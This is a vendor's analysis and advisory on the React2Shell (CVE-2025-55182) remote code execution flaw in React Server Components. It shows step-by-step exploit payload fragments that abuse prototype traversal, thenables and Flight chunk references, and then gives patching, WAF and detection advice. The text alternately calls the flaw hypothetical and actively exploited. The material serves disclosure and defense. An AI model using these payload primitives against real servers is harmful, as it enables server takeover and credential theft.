React2Shell Explained (CVE-2025-55182): From Vulnerability Discovery to Exploitation
Vulnerability Assessment and Penetration Testing (VAPT)
Executive Summary
This technical analysis examines a critical remote code execution (RCE) vulnerability scenario in the React Server Components (RSC) architecture that could theoretically enable unauthenticated remote code execution. The hypothetical exploit chain abuses weaknesses in the React Flight protocol's deserialization process, where insufficient validation of client-controlled payloads could allow attackers to manipulate server-side execution. With React and Next.js powering a significant portion of modern web infrastructure, such a vulnerability would affect enterprise applications, e-commerce platforms, and government services globally. Successful exploitation would theoretically require only a single crafted HTTP request and bypass traditional security defenses.
React Server Components Communication Flow
This diagram illustrates how React Server Components (RSC) communicate with the client using the React Flight protocol. The client and server exchange serialized component data in incremental chunks, which are deserialized and reconstructed on the server. React2Shell abuses weaknesses in this serialization and deserialization process to achieve remote code execution.

1-React Server Components (RSC) Architecture
React Server Components represent a paradigm shift in React architecture by executing components exclusively on the server rather than in the browser. Unlike traditional React components that bundle JavaScript to the client, RSCs operate within server runtimes (Node.js or Edge environments) and possess direct access to privileged resources:
- Database connections and internal APIs
- File system operations
- Environment variables and configuration secrets
- Internal service communications
Instead of transmitting HTML or JavaScript bundles to clients, RSCs generate a serialized data model that describes the UI structure. This model contains component references, props, state information, and module identifiers—essentially instructions for the client-side React runtime rather than executable code.
2 React Flight Protocol: The Communication Layer
React Flight serves as the transport mechanism between client and server in the RSC architecture. This binary-like protocol handles:
- Streaming component data in incremental chunks
- Synchronization of UI updates
- Transmission of serialized component trees
The protocol's design assumes that Flight payloads originate from trusted React clients. However, RSC endpoints are often directly exposed via HTTP endpoints (commonly /_rsc or similar paths in Next.js applications), creating an attack surface where malicious actors can craft and send arbitrary Flight payloads.
Security Implication: The critical trust boundary exists where Flight payloads are deserialized on the server. React2Shell exploits precisely this boundary by injecting malicious serialized data that the server incorrectly trusts during reconstruction.
3. Serialization and Deserialization
Serialization is the process of converting in-memory server-side objects (such as components, props, and references) into a format suitable for network transmission.
Deserialization is the reverse process:
- Incoming Flight payloads are parsed
- Objects are reconstructed in memory
- Execution continues based on the reconstructed structures
In the context of React Server Components, deserialization is complex because it may involve:
- Rebuilding object graphs
- Resolving module references
- Linking internal execution logic
Security implication (React2Shell):
React2Shell abuses unsafe deserialization, where attacker-controlled data is trusted and reconstructed without strict validation. This allows malicious payloads to influence execution flow and ultimately achieve remote code execution.
4. Data Chunks
React Flight does not transmit all data in a single response. Instead, serialized data is divided into small chunks that are streamed incrementally between the client and the server.
Each chunk:
- Contains part of the serialized component tree
- Is parsed and processed independently
- Contributes to reconstructing the final UI state
This chunk-based approach improves:
- Performance
- Progressive rendering
- User experience
What is React2Shell?
React2Shell is the common name for CVE-2025-55182, a critical remote code execution (RCE) vulnerability in React Server Components. It's a zero-day exploit that allows unauthenticated attackers to execute arbitrary code on vulnerable servers through a single crafted HTTP request, giving them full control over the server environment.
At its core, React2Shell abuses a flaw in how the React Flight Protocol deserializes data, allowing attackers to manipulate prototype chains and inject malicious code that gets executed during normal server-side rendering operations.
Affected Software
The table above outlines the components and software versions impacted by CVE-2025-55182 (React2Shell). The vulnerability primarily affects environments that use React Server Components (RSC) and rely on the React Flight protocol for server-to-client communication.
At the core of the issue are React versions 19.0.0 through 19.2.0, where unsafe deserialization logic in the Flight protocol allows attacker-controlled payloads to influence server-side execution. This directly exposes any application running RSC on these versions to unauthenticated remote code execution.
Next.js applications using the App Router are particularly exposed. Versions 16.0.0 through 16.0.6, as well as 15.x and early 16.x releases, include vulnerable RSC integrations that expose React Flight endpoints by default. Canary builds (14.x) are also affected due to experimental RSC features, although patches have been applied in later canary releases.
In addition to framework-level exposure, the vulnerability extends to React Server DOM serialization libraries, including:
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack
These libraries implement the underlying serialization and deserialization logic used by React Flight. All versions released prior to vendor patches should be considered vulnerable, regardless of framework version, until explicitly updated.
| Component | Product / Library | Vulnerable Versions | Fixed Versions |
|---|---|---|---|
| React Server Components | React | 19.0.0 – 19.2.0 | 19.2.1+ |
| App Router | Next.js | 16.0.0 – 16.0.6 | 16.0.7+ |
| Canary Builds | Next.js | 14.x Canary | Patched in later canary releases |
| Stable Releases | Next.js | 15.x, early 16.x | 16.0.7+ |
| Serialization Layer | react-server-dom-webpack | All versions prior to patched release | Vendor patch required |
| Serialization Layer | react-server-dom-parcel | All versions prior to patched release | Vendor patch required |
| Serialization Layer | react-server-dom-turbopack | All versions prior to patched release | Vendor patch required |
Before diving into the React2Shell exploit, we must first understand a fundamental JavaScript concept: how functions are defined and executed. This knowledge is crucial because React2Shell's attack chain exploits the specific behaviors of different function definition methods, particularly the dangerous Function() constructor.
JavaScript Function Definitions
JavaScript provides multiple ways to define functions, each with different characteristics. The core distinction is between declarations (parsed at compile time) and expressions/constructors (evaluated at runtime). The Function constructor is particularly dangerous as it evaluates strings as executable code.
1. Function Declaration
Standard function declaration with name and code block. Safest method, compiled during parsing phase.
function func1() { console.log("Resecurity");}

2. Function Constructor
Uses global Function constructor with string argument. Dynamically evaluates code at runtime
var func2=Function("console.log(`Resecurity`)")

3. Prototype Constructor Access
Accesses Function constructor through alert function's prototype chain. Shows how any object can reach code execution.
var func3=alert.__proto__.constructor("console.log('Resecurity')")

4. Double Constructor Chain
Double .constructor access still reaches same Function constructor. Demonstrates prototype chain consistency.
var func4=alert.__proto__.constructor.constructor("console.log('Resecurity')")

5. Method Constructor
Reaches Function constructor through method's prototype. Any function property leads to same execution endpoint.
5var func5=alert.__proto__.toString.constructor("console.log('Resecurity')")

React2Shell PoC –Technical Walkthrough
1: Normal Flight Chunk Resolution
Understanding how React Flight normally resolves references between chunks is essential to see how attackers subvert this process.
Example payload
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":" company ","name":"$2: companyName "}'),
"2": (None, '{"companyName":"Resecurity"}'),
}
$<id>instructs React to resolve another chunk by ID.$<id>:keyretrieves a specific property from the referenced chunk.- Resolution occurs during model revival, where React reconstructs the component tree from serialized data
steps
1. Server receives three chunks (0, 1, 2)
2. Chunk 0 references chunk 1: ["$1"]
3. Chunk 1 contains: {object:"company", name:"$2:companyName"}
4. $2:companyName means: get chunk 2, then access its "companyName" property
5. Chunk 2 has: {"companyName":"Resecurity"}
6. Final deserialized result: {object:"company", name:"Resecurity"}
This shows the intended use - chunks can reference other chunks' properties using $id:propertyPath syntax. The system trusts that all references point to legitimate data properties, not JavaScript internals.
{ object: " company ", name: "Resecurity" }
2: Prototype Traversal During Deserialization
The core vulnerability - React didn't validate that referenced properties actually exist on the target object before accessing them.
Payload
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Steps
- 1:
$1resolves to chunk 1 →{x: 1} - 2:
:__proto__accesses JavaScript's built-in prototype property
→ Returns Object.prototype (the parent of all objects)
- Step 3:
:constructoraccesses the constructor property of Object.prototype
→ Returns the Object() constructor function
- Step 4:
:constructoragain accesses constructor of Object() function
→ Returns the global Function() constructor
- Result: Attacker obtains Function constructor [Function: Function]
Why This Works: JavaScript's prototype chain is always accessible. When you access obj.property, JavaScript:
- Checks if
objhas its ownproperty - If not, checks
obj.__proto__(the prototype) - Continues up the chain until found or returns
undefined
3: Thenables – Turning Data into Execution
A "thenable" is any JavaScript object that has a .then method—it doesn't need to be an actual Promise. When JavaScript encounters await obj, if obj.then exists, the language automatically invokes .then() with two internal callback functions (resolve and reject). This built-in behavior allows attackers to trigger function execution without any explicit function call appearing in the vulnerable code.
Example payload demonstrating the primitive
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Leading to this error:

steps
1: Deserialization produces: {then: Function}
2: Application code does: await decodedReply
3: JavaScript runtime sees .then property
4: Automatically invokes: Function(resolve, reject)
5: Function() tries to execute arguments as code
Result: SyntaxError (resolve/reject functions aren't valid code strings)
4: $@chunkId – Breaking the Object Boundary
Using React Flight's special syntax to reference raw chunk objects instead of resolved values. $@<id> → return raw chunk object, not resolved value
Payload
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
$@ Syntax Explained
React Flight provides a special reference syntax that allows a chunk to be accessed without being resolved.
Normal Reference Resolution
$1
- Resolves chunk 1
- Returns the final deserialized value
- All references inside the chunk are already processed
Example: $1 → { x: 1 }
This is the safe, intended behavior for component reconstruction.
Special Raw Reference Syntax
$@1
- Returns the raw chunk object itself
- Bypasses normal resolution
- Internal metadata and methods remain intact
Why $@ Exists
React uses $@ internally to:
- Support streaming and incremental rendering
- Allow unresolved chunks to be passed around
- Treat chunks as thenables for async coordination
In legitimate usage, this is never exposed to untrusted input.
Why $@ Is Dangerous in React2Shell
When an attacker controls Flight payloads:
- $@ breaks the abstraction boundary between data and runtime internals
- Attackers gain access to:
- Chunk prototypes
.then()implementation- Internal state fields such as
statusand_response
5: Forcing initializeModelChunk()
React has special internal logic for processing "resolved model" chunks through the initializeModelChunk() function. Attackers discovered they could force React to execute this critical function by setting a specific status field in their crafted chunk, unlocking a second deserialization pass with different execution context.
files = {
"0": (None, '{"then":"$1:__proto__:then","status":"resolved_model"}'),
"1": (None, '"$@0"'),
}
Internal logic
React sees:
chunk.status === "resolved_model"
if (chunk.status === "resolved_model") {
initializeModelChunk(chunk); // <-- Triggered!
// Inside initializeModelChunk:
var parsed = JSON.parse(chunk.value); // Parse chunk.value
reviveModel(chunk._response, parsed); // Second deserialization!
}
steps
1: Chunk has status: "resolved_model"
2: React calls initializeModelChunk(chunk)
3: initializeModelChunk parses chunk.value as JSON
4: Calls reviveModel() with chunk._response as context
Result: We get a SECOND deserialization pass with different context
The status field is client-controlled with no validation. React assumes only its own code would set status: "resolved_model".
6: Context Confusion via _response
The _response object serves as the execution context for React Flight's deserialization process. By providing a malicious _response object, attackers can completely control the environment in which chunk references are resolved, enabling them to redirect normal data operations into code execution.

Key Components Explained:
- reason: -1: Bypasses an error check in
initializeModelChunk:
var rootReference = chunk.reason.toString(16); // -1.toString() errors
- value:
'{"then": "$B0"}': JSON that will be parsed during second pass.$B0references a "blob" (special Flight type). _response: The execution context for the second pass. Fully attacker-controlled._response._formData.get: Points toFunction()constructor via prototype chain._response._prefix: Will become the argument passed toFunction().
This is a "Confused Deputy" Attack: The reviveModel() function (the deputy) uses attacker-controlled _response object but executes with server privileges.
7: Blob Resolution → Function Execution
React Flight has special handling for binary data through "blob references" (prefixed with $B). Attackers discovered that by hijacking the blob resolution mechanism and controlling the _response context, they could transform a benign data-fetching operation into a direct Function() constructor call with attacker-controlled code as its argument.
// Simplified blob handler logic (vulnerable version)
case "B": // Handle blob references like "$B0"
// BUG: response._formData.get is attacker-controlled
return response._formData.get(response._prefix + blobId);
steps
1: Second pass processes value: {"then": "$B0"}
2: $B0 triggers blob handler
3: response._formData.get → resolves to Function() constructor
4: response._prefix + "0" → "RCE_CODE_HERE" + "0"
5: Function("RCE_CODE_HERE0") called
6: Creates function with attacker code
7: Function returned as .then property
8: await automatically calls .then()
9: Attacker code executes
8: Real RCE Payload Example
This final step combines prototype pollution, thenable behavior, chunk manipulation, and blob resolution into a single, weaponized payload that executes arbitrary Node.js code on the server. The crafted payload abuses every stage of React Flight's deserialization process to achieve full remote code execution (RCE).

Each Component's Role
1. "then": "$1:__proto__:then"
Hijacks the .then property to point to React's internal Chunk.prototype.then method instead of the dangerous global Function() constructor.
2. "status": "resolved_model"
Forces React to treat our malicious chunk as a fully resolved model chunk, triggering the special initializeModelChunk() function.
as a simple data object. By setting this status, we essentially tell React: "This chunk is ready for advanced processing," unlocking the ability to parse chunk.value as JSON and process nested references a second time.
3. "reason": -1
A subtle but essential bypass that prevents an early error in initializeModelChunk().
4. "value": '{"then": "$B0"}'
Contains a nested JSON structure with a blob reference ($B0) that will be processed during the second deserialization pass.
5. "_response"
Purpose: Provides a completely attacker-controlled execution context for the second deserialization pass.
6. "_formData.get"
Points to the global Function() constructor, turning a data-fetching operation into a code execution gadget.
7. "_prefix"
Contains the actual remote code execution payload that gets passed to the Function() constructor.
8. "$@0"
Creates a self-referential loop that allows chunk 0 to reference itself during the resolution process.
Each component exploits a different trust assumption in React's architecture, and together they create a weaponized deserialization chain that turns innocent-looking data into remote code execution. The brilliance of this exploit is how it repurposes React's own legitimate features—chunk processing, thenable handling, blob resolution—against itself, without any buffer overflows, memory corruption, or traditional exploit techniques.
React2Shell Lab POC: Command Execution, Demo

React2Shell Live Attack: Production Server Compromise

Result: Executes id command on server
What Makes CVE-2025-55182 Business-Critical?
1. Massive Global Exposure
React and Next.js underpin a substantial portion of modern web infrastructure, including enterprise applications, e-commerce platforms, SaaS products, and government services.
Because React2Shell targets React Server Components (RSC), a successful exploit often results in full compromise of the application’s backend runtime, not just a single feature or endpoint.
For many organizations, an RSC compromise is equivalent to total application ownership.
2. Low-Friction, High-Impact Exploitation
React2Shell requires:
- No memory corruption
- No authentication
- No elevated privileges
- A single crafted HTTP request exploiting a logic flaw in React Flight deserialization is sufficient to achieve remote code execution.
Public proof-of-concepts are already available, significantly lowering the barrier to exploitation and increasing the likelihood of opportunistic and automated attacks.
3. Traditional Defenses Are Ineffective
The exploit executes during deserialization, before application-level validation, routing logic, or authorization checks occur.
As a result:
- Many WAFs do not detect the attack by default
- Signature-based rules are easily bypassed through payload obfuscation
- Application logging may miss the initial execution event entirely
Without explicit awareness of React Flight internals,most defensive layers provide little to no protection.
4. Impact Across Every Layer of the Stack
A successful React2Shell exploit enables attackers to:
- Execute arbitrary code on the server
- Access environment variables and cloud credentials
- Read and modify databases
- Deploy ransomware or persistent webshells
- Establish a foothold for lateral movement within the environment
How to Protect Your Environment Right Now
1. Apply Official Patches Immediately
The React and Next.js teams have released fixes. Ensure all environments are upgraded to:
- React:
19.2.1or later - Next.js:
16.0.7or later
If your environment remains unpatched, assume compromise is possible until proven otherwise.
2. Regenerate Secrets and Credentials
Because exploitation allows access to server memory and environment variables, credential exposure must be assumed.
Immediately rotate:
- API keys
- Environment variables
- Database credentials
- Cloud access tokens (AWS, GCP, Azure, etc.)
Invalidate old credentials wherever possible.
3. Implement WAF and API Gateway Protections
Deploy temporary detection and blocking rules focused on:
- Suspicious or malformed React Flight chunk structures
- Requests containing
__proto__or prototype-related references - Abnormal usage of
next-action,rsc-action-id, or related headers
These controls will not stop all variants, but they can disrupt mass exploitation and scanning activity.
4. Harden RSC and Next.js Deployments
Reduce blast radius by enforcing runtime hardening:
- Run RSC servers with minimal OS and cloud privileges
- Enforce strong isolation between application, database, and cloud control planes
- Use read-only file systems where feasible
5. Actively Hunt for Indicators of Compromise
Monitor logs and telemetry for:
- Unexpected or anomalous
.then()behavior - Suspicious POST requests targeting RSC endpoints
- Shell command execution from Node.js processes
- Unusual outbound network traffic from application servers
Conclusion
React2Shell demonstrates how modern frameworks inherit classic vulnerabilities despite advanced architectures. This hypothetical RCE flaw stems from implicit trust in client data and missing prototype validation, allowing attackers to manipulate execution through deserialization. The exploit chain reveals that sophisticated features expand attack surfaces while traditional defenses fail against protocol-specific attacks. Organizations must adopt zero-trust deserialization, prioritize dependency vigilance, and implement protocol-aware security controls. Ultimately, security must be foundational—not incidental—in our complex web ecosystem, with deserialization treated as a critical threat vector requiring continuous scrutiny and defense-in-depth protection.